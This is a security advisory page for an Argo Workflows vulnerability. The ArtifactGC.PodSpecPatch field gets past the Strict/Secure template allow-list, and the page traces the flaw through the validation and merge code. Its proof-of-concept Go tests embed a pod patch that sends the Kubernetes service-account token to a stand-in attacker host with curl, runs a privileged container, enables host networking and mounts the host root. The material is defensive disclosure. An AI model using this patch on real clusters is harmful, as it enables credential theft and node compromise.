high

CVE-2026-54526

Go · github.com/argoproj/argo-workflows/v4

Summary

Argo Workflows: ArtifactGC.PodSpecPatch bypasses Strict/Secure template reference allow-list (Incomplete fix for CVE-2026-31892)

Severity
high
EPSS
0.6% (p46)
CWE
CWE-284
Also known as
GHSA-48p8-g2fx-3wwm#github.com/argoproj/argo-workflows/v4
Published
2026-08-13
Updated
2026-08-13

Advisory details

Summary

The allow-list fix for CVE-2026-31892 (GHSA-3wf5-g532-rcrr), and its follow-up coverage of hostNetwork/securityContext/serviceAccountName in GHSA-3775-99mw-8rp4, is incomplete. workflow/util/merge.go ValidateUserOverrides / SanitizeUserWorkflowSpec walk only the top-level fields of WorkflowSpec via reflection. WorkflowSpec.ArtifactGC is allow-listed because admins want users to configure artifact garbage collection. The struct behind that field, WorkflowLevelArtifactGC, has a PodSpecPatch sub-field whose contents flow unmodified into util.ApplyPodSpecPatch on the artifact-GC pod - the same sink the original fix closed for WorkflowSpec.PodSpecPatch. A user submitting a Workflow under templateReferencing: Strict or Secure can therefore still inject an arbitrary strategic merge patch into the artifact-GC pod (hostPath volumes, privileged: true, arbitrary image and command, hostNetwork: true), defeating the stated purpose of Strict/Secure reference mode.

Details

Locations in main at 4d9f021 (HEAD 2026-04-23):

Allow-list and reflection scope - workflow/util/merge.go:19-60:

var allowedUserOverrideFields = map[string]bool{
    "Arguments":             true,
    "Entrypoint":            true,
    ...
    "ArtifactGC":            true,   // <-- allow-listed wholesale
}

func ValidateUserOverrides(userSpec *wfv1.WorkflowSpec) error {
    v := reflect.ValueOf(userSpec).Elem()
    t := v.Type()
    zero := reflect.New(t).Elem()
    for i := 0; i < t.NumField(); i++ {
        fieldName := t.Field(i).Name
        if allowedUserOverrideFields[fieldName] {
            continue                  // <-- sub-fields are not walked
        }
        if !reflect.DeepEqual(v.Field(i).Interface(), zero.Field(i).Interface()) {
            violations = append(violations, fieldName)
        }
    }
    ...
}

The allow-listed type - pkg/apis/workflow/v1alpha1/workflow_types.go:1207-1217:

type WorkflowLevelArtifactGC struct {
    ArtifactGC            `json:",inline"`
    ForceFinalizerRemoval bool   `json:"forceFinalizerRemoval,omitempty"`
    PodSpecPatch          string `json:"podSpecPatch,omitempty"`   // <-- sink input
}

The sink - workflow/controller/artifact_gc.go:731-740 reads the user-controlled value:

func (woc *wfOperationCtx) getArtifactGCPodInfo(artifact *wfv1.Artifact) podInfo {
    info := podInfo{}
    if woc.execWf.Spec.ArtifactGC != nil {
        woc.updateArtifactGCPodInfo(&woc.execWf.Spec.ArtifactGC.ArtifactGC, &info)
        info.podSpecPatch = woc.execWf.Spec.ArtifactGC.PodSpecPatch
    }
    ...
}

And workflow/controller/artifact_gc.go:518-525 feeds it unchanged to the same helper that CVE-2026-31892 closed for the top-level field:

if info.podSpecPatch != "" {
    patchedPodSpec, patchErr := util.ApplyPodSpecPatch(pod.Spec, info.podSpecPatch)
    if patchErr != nil {
        return nil, patchErr
    }
    pod.Spec = *patchedPodSpec
}

util.ApplyPodSpecPatch (workflow/util/util.go:1560) is a raw strategicpatch.StrategicMergePatch over the whole apiv1.PodSpec with no field-level restriction; it is the same primitive that was weaponized by the original CVE-2026-31892 against WorkflowSpec.PodSpecPatch. The pod it is applied to - built in workflow/controller/artifact_gc.go ~line 460-495 - has AutomountServiceAccountToken: true and a hardened MinimalCtrSC() security context that the patch fully overrides.

The merge path is the one the fix already walks. operator.go:#setStoredWfSpec does SanitizeUserWorkflowSpec(&woc.wf.Spec) before JoinWorkflowSpec(userSpec, workflowTemplateSpec, wfDefaultSpec). Sanitize preserves ArtifactGC wholesale. Join uses strategicpatch.StrategicMergePatch with the user spec as the target, so the user's artifactGC.podSpecPatch value wins whenever it is non-empty.

Precondition for the attack: the referenced WorkflowTemplate has at least one template with an output artifact. workflow/controller/artifact_gc.go:79 HasArtifactGC iterates execWf.Spec.Templates[*].Outputs.Artifacts[*] and asks GetArtifactGCStrategy(&artifact), which falls back to w.Spec.ArtifactGC.Strategy when the per-artifact strategy is Undefined (pkg/apis/workflow/v1alpha1/workflow_types.go:245). The user supplies spec.artifactGC.strategy: OnWorkflowCompletion (in the allow-list) so the fallback is satisfied on any template that emits artifacts - the common case for real workloads.

No validation sits between sanitize and sink:

grep -rn "ValidateArtifactGC\|validateArtifactGC\|ArtifactGC.*PodSpecPatch" --include="*.go" workflow/validate/
# (no output)

The merge-package test file added with the fix (workflow/util/merge_test.go @ 4d9f021) covers only WorkflowSpec.PodSpecPatch; ArtifactGC.PodSpecPatch is not exercised.

PoC

Self-contained Go unit tests against the shipped workflow/util package at main@4d9f021. Drop either file into workflow/util/ and run go test.

poc/merge_artifactgc_poc_test.go:

package util

import (
    "testing"
    "github.com/stretchr/testify/assert"
    "github.com/stretchr/testify/require"
    wfv1 "github.com/argoproj/argo-workflows/v4/pkg/apis/workflow/v1alpha1"
)

func TestPoC_ArtifactGCPodSpecPatchPassesAllowList(t *testing.T) {
    attackerPatch := `{"containers":[{"name":"main","image":"attacker/evil:latest",` +
        `"command":["sh","-c","curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"]}],` +
        `"hostNetwork":true}`
    userSpec := &wfv1.WorkflowSpec{
        WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"},
        ArtifactGC: &wfv1.WorkflowLevelArtifactGC{
            ArtifactGC:   wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion},
            PodSpecPatch: attackerPatch,
        },
    }

    // Gate 1: allow-list. Expected to reject - does not.
    require.NoError(t, ValidateUserOverrides(userSpec))

    // Gate 2: sanitizer defense-in-depth. Expected to strip - does not.
    sanitized := SanitizeUserWorkflowSpec(userSpec)
    assert.Equal(t, attackerPatch, sanitized.ArtifactGC.PodSpecPatch)
}

poc/artgc_sink_poc_test.go demonstrates the same patch reaching ApplyPodSpecPatch and mutating the hardened pod baseline (switches image, sets privileged: true, sets hostNetwork: true, adds a hostPath: / volume):

func TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch(t *testing.T) {
    attackerPatch := `
containers:
- name: main
  image: attacker/evil:latest
  command: [sh, -c, "curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"]
  securityContext:
    privileged: true
    runAsUser: 0
    runAsNonRoot: false
    allowPrivilegeEscalation: true
    capabilities: {drop: null, add: [SYS_ADMIN]}
    readOnlyRootFilesystem: false
hostNetwork: true
volumes:
- name: hostroot
  hostPath: {path: /}
`
    userSpec := &wfv1.WorkflowSpec{
        WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"},
        ArtifactGC: &wfv1.WorkflowLevelArtifactGC{
            ArtifactGC:   wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion},
            PodSpecPatch: attackerPatch,
        },
    }
    require.NoError(t, ValidateUserOverrides(userSpec))
    sanitized := SanitizeUserWorkflowSpec(userSpec)

    // Baseline built exactly like workflow/controller/artifact_gc.go:createArtifactGCPod.
    basePod := apiv1.PodSpec{ /* AutomountSAToken=true, MinimalCtrSC, limits, etc. */ }

    patched, err := ApplyPodSpecPatch(basePod, sanitized.ArtifactGC.PodSpecPatch)
    require.NoError(t, err)

    assert.Equal(t, "attacker/evil:latest",     patched.Containers[0].Image)
    assert.Equal(t, true, *patched.Containers[0].SecurityContext.Privileged)
    assert.Equal(t, true, patched.HostNetwork)
    assert.Equal(t, "/",  patched.Volumes[0].HostPath.Path)
}

Run:

go test -v -run "TestPoC_ArtifactGC" ./workflow/u

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.